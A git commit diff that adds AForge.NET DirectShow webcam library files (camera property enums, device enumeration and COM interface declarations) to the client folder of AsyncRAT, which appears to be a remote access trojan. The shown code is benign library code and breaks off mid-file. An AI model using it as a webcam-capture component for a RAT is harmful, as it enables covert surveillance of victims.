Update v0.5.2
This commit is contained in:
parent
a5239a541b
commit
583da6a7ad
@ -0,0 +1,67 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
// http://www.aforgenet.com/framework/
|
||||||
|
//
|
||||||
|
// Copyright © AForge.NET, 2009-2013
|
||||||
|
// contacts@aforgenet.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The enumeration specifies a setting on a camera.
|
||||||
|
/// </summary>
|
||||||
|
public enum CameraControlProperty
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Pan control.
|
||||||
|
/// </summary>
|
||||||
|
Pan = 0,
|
||||||
|
/// <summary>
|
||||||
|
/// Tilt control.
|
||||||
|
/// </summary>
|
||||||
|
Tilt,
|
||||||
|
/// <summary>
|
||||||
|
/// Roll control.
|
||||||
|
/// </summary>
|
||||||
|
Roll,
|
||||||
|
/// <summary>
|
||||||
|
/// Zoom control.
|
||||||
|
/// </summary>
|
||||||
|
Zoom,
|
||||||
|
/// <summary>
|
||||||
|
/// Exposure control.
|
||||||
|
/// </summary>
|
||||||
|
Exposure,
|
||||||
|
/// <summary>
|
||||||
|
/// Iris control.
|
||||||
|
/// </summary>
|
||||||
|
Iris,
|
||||||
|
/// <summary>
|
||||||
|
/// Focus control.
|
||||||
|
/// </summary>
|
||||||
|
Focus
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The enumeration defines whether a camera setting is controlled manually or automatically.
|
||||||
|
/// </summary>
|
||||||
|
[Flags]
|
||||||
|
public enum CameraControlFlags
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// No control flag.
|
||||||
|
/// </summary>
|
||||||
|
None = 0x0,
|
||||||
|
/// <summary>
|
||||||
|
/// Auto control Flag.
|
||||||
|
/// </summary>
|
||||||
|
Auto = 0x0001,
|
||||||
|
/// <summary>
|
||||||
|
/// Manual control Flag.
|
||||||
|
/// </summary>
|
||||||
|
Manual = 0x0002
|
||||||
|
}
|
||||||
|
}
|
193
AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs
Normal file
193
AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs
Normal file
@ -0,0 +1,193 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2008
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Runtime.InteropServices.ComTypes;
|
||||||
|
using AForge.Video.DirectShow.Internals;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// DirectShow filter information.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
public class FilterInfo : IComparable
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Filter name.
|
||||||
|
/// </summary>
|
||||||
|
public string Name { get; private set; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Filters's moniker string.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
public string MonikerString { get; private set; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes a new instance of the <see cref="FilterInfo"/> class.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="monikerString">Filters's moniker string.</param>
|
||||||
|
///
|
||||||
|
public FilterInfo( string monikerString )
|
||||||
|
{
|
||||||
|
MonikerString = monikerString;
|
||||||
|
Name = GetName( monikerString );
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes a new instance of the <see cref="FilterInfo"/> class.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="moniker">Filter's moniker object.</param>
|
||||||
|
///
|
||||||
|
internal FilterInfo( IMoniker moniker )
|
||||||
|
{
|
||||||
|
MonikerString = GetMonikerString( moniker );
|
||||||
|
Name = GetName( moniker );
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Compare the object with another instance of this class.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="value">Object to compare with.</param>
|
||||||
|
///
|
||||||
|
/// <returns>A signed number indicating the relative values of this instance and <b>value</b>.</returns>
|
||||||
|
///
|
||||||
|
public int CompareTo( object value )
|
||||||
|
{
|
||||||
|
FilterInfo f = (FilterInfo) value;
|
||||||
|
|
||||||
|
if ( f == null )
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
return ( this.Name.CompareTo( f.Name ) );
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Create an instance of the filter.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="filterMoniker">Filter's moniker string.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Returns filter's object, which implements <b>IBaseFilter</b> interface.</returns>
|
||||||
|
///
|
||||||
|
/// <remarks>The returned filter's object should be released using <b>Marshal.ReleaseComObject()</b>.</remarks>
|
||||||
|
///
|
||||||
|
public static object CreateFilter( string filterMoniker )
|
||||||
|
{
|
||||||
|
// filter's object
|
||||||
|
object filterObject = null;
|
||||||
|
// bind context and moniker objects
|
||||||
|
IBindCtx bindCtx = null;
|
||||||
|
IMoniker moniker = null;
|
||||||
|
|
||||||
|
int n = 0;
|
||||||
|
|
||||||
|
// create bind context
|
||||||
|
if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 )
|
||||||
|
{
|
||||||
|
// convert moniker`s string to a moniker
|
||||||
|
if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 )
|
||||||
|
{
|
||||||
|
// get device base filter
|
||||||
|
Guid filterId = typeof( IBaseFilter ).GUID;
|
||||||
|
moniker.BindToObject( null, null, ref filterId, out filterObject );
|
||||||
|
|
||||||
|
Marshal.ReleaseComObject( moniker );
|
||||||
|
}
|
||||||
|
Marshal.ReleaseComObject( bindCtx );
|
||||||
|
}
|
||||||
|
return filterObject;
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Get moniker string of the moniker
|
||||||
|
//
|
||||||
|
private string GetMonikerString( IMoniker moniker )
|
||||||
|
{
|
||||||
|
string str;
|
||||||
|
moniker.GetDisplayName( null, null, out str );
|
||||||
|
return str;
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Get filter name represented by the moniker
|
||||||
|
//
|
||||||
|
private string GetName( IMoniker moniker )
|
||||||
|
{
|
||||||
|
Object bagObj = null;
|
||||||
|
IPropertyBag bag = null;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Guid bagId = typeof( IPropertyBag ).GUID;
|
||||||
|
// get property bag of the moniker
|
||||||
|
moniker.BindToStorage( null, null, ref bagId, out bagObj );
|
||||||
|
bag = (IPropertyBag) bagObj;
|
||||||
|
|
||||||
|
// read FriendlyName
|
||||||
|
object val = "";
|
||||||
|
int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero );
|
||||||
|
if ( hr != 0 )
|
||||||
|
Marshal.ThrowExceptionForHR( hr );
|
||||||
|
|
||||||
|
// get it as string
|
||||||
|
string ret = (string) val;
|
||||||
|
if ( ( ret == null ) || ( ret.Length < 1 ) )
|
||||||
|
throw new ApplicationException( );
|
||||||
|
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
catch ( Exception )
|
||||||
|
{
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
// release all COM objects
|
||||||
|
bag = null;
|
||||||
|
if ( bagObj != null )
|
||||||
|
{
|
||||||
|
Marshal.ReleaseComObject( bagObj );
|
||||||
|
bagObj = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Get filter name represented by the moniker string
|
||||||
|
//
|
||||||
|
private string GetName( string monikerString )
|
||||||
|
{
|
||||||
|
IBindCtx bindCtx = null;
|
||||||
|
IMoniker moniker = null;
|
||||||
|
String name = "";
|
||||||
|
int n = 0;
|
||||||
|
|
||||||
|
// create bind context
|
||||||
|
if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 )
|
||||||
|
{
|
||||||
|
// convert moniker`s string to a moniker
|
||||||
|
if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 )
|
||||||
|
{
|
||||||
|
// get device name
|
||||||
|
name = GetName( moniker );
|
||||||
|
|
||||||
|
Marshal.ReleaseComObject( moniker );
|
||||||
|
moniker = null;
|
||||||
|
}
|
||||||
|
Marshal.ReleaseComObject( bindCtx );
|
||||||
|
bindCtx = null;
|
||||||
|
}
|
||||||
|
return name;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,138 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2008
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Collections;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Runtime.InteropServices.ComTypes;
|
||||||
|
using AForge.Video.DirectShow.Internals;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Collection of filters' information objects.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks><para>The class allows to enumerate DirectShow filters of specified category. For
|
||||||
|
/// a list of categories see <see cref="FilterCategory"/>.</para>
|
||||||
|
///
|
||||||
|
/// <para>Sample usage:</para>
|
||||||
|
/// <code>
|
||||||
|
/// // enumerate video devices
|
||||||
|
/// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice );
|
||||||
|
/// // list devices
|
||||||
|
/// foreach ( FilterInfo device in videoDevices )
|
||||||
|
/// {
|
||||||
|
/// // ...
|
||||||
|
/// }
|
||||||
|
/// </code>
|
||||||
|
/// </remarks>
|
||||||
|
///
|
||||||
|
public class FilterInfoCollection : CollectionBase
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes a new instance of the <see cref="FilterInfoCollection"/> class.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="category">Guid of DirectShow filter category. See <see cref="FilterCategory"/>.</param>
|
||||||
|
///
|
||||||
|
/// <remarks>Build collection of filters' information objects for the
|
||||||
|
/// specified filter category.</remarks>
|
||||||
|
///
|
||||||
|
public FilterInfoCollection( Guid category )
|
||||||
|
{
|
||||||
|
CollectFilters( category );
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get filter information object.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="index">Index of filter information object to retrieve.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Filter information object.</returns>
|
||||||
|
///
|
||||||
|
public FilterInfo this[int index]
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
return ( (FilterInfo) InnerList[index] );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Collect filters of specified category
|
||||||
|
private void CollectFilters( Guid category )
|
||||||
|
{
|
||||||
|
object comObj = null;
|
||||||
|
ICreateDevEnum enumDev = null;
|
||||||
|
IEnumMoniker enumMon = null;
|
||||||
|
IMoniker[] devMon = new IMoniker[1];
|
||||||
|
int hr;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// Get the system device enumerator
|
||||||
|
Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum );
|
||||||
|
if ( srvType == null )
|
||||||
|
throw new ApplicationException( "Failed creating device enumerator" );
|
||||||
|
|
||||||
|
// create device enumerator
|
||||||
|
comObj = Activator.CreateInstance( srvType );
|
||||||
|
enumDev = (ICreateDevEnum) comObj;
|
||||||
|
|
||||||
|
// Create an enumerator to find filters of specified category
|
||||||
|
hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 );
|
||||||
|
if ( hr != 0 )
|
||||||
|
throw new ApplicationException( "No devices of the category" );
|
||||||
|
|
||||||
|
// Collect all filters
|
||||||
|
IntPtr n = IntPtr.Zero;
|
||||||
|
while ( true )
|
||||||
|
{
|
||||||
|
// Get next filter
|
||||||
|
hr = enumMon.Next( 1, devMon, n );
|
||||||
|
if ( ( hr != 0 ) || ( devMon[0] == null ) )
|
||||||
|
break;
|
||||||
|
|
||||||
|
// Add the filter
|
||||||
|
FilterInfo filter = new FilterInfo( devMon[0] );
|
||||||
|
InnerList.Add( filter );
|
||||||
|
|
||||||
|
// Release COM object
|
||||||
|
Marshal.ReleaseComObject( devMon[0] );
|
||||||
|
devMon[0] = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Sort the collection
|
||||||
|
InnerList.Sort( );
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
// release all COM objects
|
||||||
|
enumDev = null;
|
||||||
|
if ( comObj != null )
|
||||||
|
{
|
||||||
|
Marshal.ReleaseComObject( comObj );
|
||||||
|
comObj = null;
|
||||||
|
}
|
||||||
|
if ( enumMon != null )
|
||||||
|
{
|
||||||
|
Marshal.ReleaseComObject( enumMon );
|
||||||
|
enumMon = null;
|
||||||
|
}
|
||||||
|
if ( devMon[0] != null )
|
||||||
|
{
|
||||||
|
Marshal.ReleaseComObject( devMon[0] );
|
||||||
|
devMon[0] = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,81 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
// http://www.aforgenet.com/framework/
|
||||||
|
//
|
||||||
|
// Copyright © AForge.NET, 2009-2013
|
||||||
|
// contacts@aforgenet.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment,
|
||||||
|
/// or shutter speed. To obtain this interface, query the filter that controls the camera.
|
||||||
|
/// </summary>
|
||||||
|
[ComImport,
|
||||||
|
Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface IAMCameraControl
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the range and default value of a specified camera property.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="Property">Specifies the property to query.</param>
|
||||||
|
/// <param name="pMin">Receives the minimum value of the property.</param>
|
||||||
|
/// <param name="pMax">Receives the maximum value of the property.</param>
|
||||||
|
/// <param name="pSteppingDelta">Receives the step size for the property.</param>
|
||||||
|
/// <param name="pDefault">Receives the default value of the property. </param>
|
||||||
|
/// <param name="pCapsFlags">Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetRange(
|
||||||
|
[In] CameraControlProperty Property,
|
||||||
|
[Out] out int pMin,
|
||||||
|
[Out] out int pMax,
|
||||||
|
[Out] out int pSteppingDelta,
|
||||||
|
[Out] out int pDefault,
|
||||||
|
[Out] out CameraControlFlags pCapsFlags
|
||||||
|
);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets a specified property on the camera.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="Property">Specifies the property to set.</param>
|
||||||
|
/// <param name="lValue">Specifies the new value of the property.</param>
|
||||||
|
/// <param name="Flags">Specifies the desired control setting, as a member of the CameraControlFlags enumeration.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Set(
|
||||||
|
[In] CameraControlProperty Property,
|
||||||
|
[In] int lValue,
|
||||||
|
[In] CameraControlFlags Flags
|
||||||
|
);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the current setting of a camera property.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="Property">Specifies the property to retrieve.</param>
|
||||||
|
/// <param name="lValue">Receives the value of the property.</param>
|
||||||
|
/// <param name="Flags">Receives a member of the CameraControlFlags enumeration.
|
||||||
|
/// The returned value indicates whether the setting is controlled manually or automatically.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Get(
|
||||||
|
[In] CameraControlProperty Property,
|
||||||
|
[Out] out int lValue,
|
||||||
|
[Out] out CameraControlFlags Flags
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,88 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
// http://www.aforgenet.com/framework/
|
||||||
|
//
|
||||||
|
// Copyright © AForge.NET, 2009-2012
|
||||||
|
// contacts@aforgenet.com
|
||||||
|
//
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter.
|
||||||
|
/// </summary>
|
||||||
|
[ComImport, System.Security.SuppressUnmanagedCodeSecurity,
|
||||||
|
Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface IAMCrossbar
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the number of input and output pins on the crossbar filter.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="outputPinCount">Variable that receives the number of output pins.</param>
|
||||||
|
/// <param name="inputPinCount">Variable that receives the number of input pins.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Queries whether a specified input pin can be routed to a specified output pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
|
||||||
|
/// <param name="inputPinIndex">Specifies the index of input pin.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Routes an input pin to an output pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
|
||||||
|
/// <param name="inputPinIndex">Specifies the index of the input pin.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Route( [In] int outputPinIndex, [In] int inputPinIndex );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the input pin that is currently routed to the specified output pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
|
||||||
|
/// <param name="inputPinIndex">Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves information about a specified pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="isInputPin">Specifies the direction of the pin. Use one of the following values.</param>
|
||||||
|
/// <param name="pinIndex">Specifies the index of the pin.</param>
|
||||||
|
/// <param name="pinIndexRelated">Variable that receives the index of the related pin, or –1 if no pin is related to this pin.</param>
|
||||||
|
/// <param name="physicalType">Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int get_CrossbarPinInfo(
|
||||||
|
[In, MarshalAs( UnmanagedType.Bool )] bool isInputPin,
|
||||||
|
[In] int pinIndex,
|
||||||
|
[Out] out int pinIndexRelated,
|
||||||
|
[Out] out PhysicalConnectorType physicalType );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,74 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2008
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// This interface sets the output format on certain capture and compression filters,
|
||||||
|
/// for both audio and video.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface IAMStreamConfig
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Set the output format on the pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="mediaType">Media type to set.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the audio or video stream's format.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="mediaType">Retrieved media type.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieve the number of format capabilities that this pin supports.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="count">Variable that receives the number of format capabilities.</param>
|
||||||
|
/// <param name="size">Variable that receives the size of the configuration structure in bytes.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetNumberOfCapabilities( out int count, out int size );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieve a set of format capabilities.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="index">Specifies the format capability to retrieve, indexed from zero.</param>
|
||||||
|
/// <param name="mediaType">Retrieved media type.</param>
|
||||||
|
/// <param name="streamConfigCaps">Byte array, which receives information about capabilities.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetStreamCaps(
|
||||||
|
[In] int index,
|
||||||
|
[Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,112 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
// http://www.aforgenet.com/framework/
|
||||||
|
//
|
||||||
|
// Copyright © AForge.NET, 2009-2011
|
||||||
|
// contacts@aforgenet.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The interface controls certain video capture operations such as enumerating available
|
||||||
|
/// frame rates and image orientation.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface IAMVideoControl
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the capabilities of the underlying hardware.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pin">Pin to query capabilities from.</param>
|
||||||
|
/// <param name="flags">Get capabilities of the specified pin.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the video control mode of operation.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pin">The pin to set the video control mode on.</param>
|
||||||
|
/// <param name="mode">Value specifying a combination of the flags to set the video control mode.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the video control mode of operation.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pin">The pin to retrieve the video control mode from.</param>
|
||||||
|
/// <param name="mode">Gets combination of flags, which specify the video control mode.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units.
|
||||||
|
/// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested
|
||||||
|
/// because of bandwidth availability. This is only available during video streaming.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pin">The pin to retrieve the frame rate from.</param>
|
||||||
|
/// <param name="actualFrameRate">Gets frame rate in frame duration in 100-nanosecond units.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections
|
||||||
|
/// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth
|
||||||
|
/// availability.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pin">The pin to retrieve the maximum frame rate from.</param>
|
||||||
|
/// <param name="index">Index of the format to query for maximum frame rate. This index corresponds
|
||||||
|
/// to the order in which formats are enumerated by <see cref="IAMStreamConfig.GetStreamCaps"/>.</param>
|
||||||
|
/// <param name="dimensions">Frame image size (width and height) in pixels.</param>
|
||||||
|
/// <param name="maxAvailableFrameRate">Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index,
|
||||||
|
[In] System.Drawing.Size dimensions,
|
||||||
|
[Out] out long maxAvailableFrameRate );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves a list of available frame rates.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pin">The pin to retrieve the maximum frame rate from.</param>
|
||||||
|
/// <param name="index">Index of the format to query for maximum frame rate. This index corresponds
|
||||||
|
/// to the order in which formats are enumerated by <see cref="IAMStreamConfig.GetStreamCaps"/>.</param>
|
||||||
|
/// <param name="dimensions">Frame image size (width and height) in pixels.</param>
|
||||||
|
/// <param name="listSize">Number of elements in the list of frame rates.</param>
|
||||||
|
/// <param name="frameRate">Array of frame rates in 100-nanosecond units.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
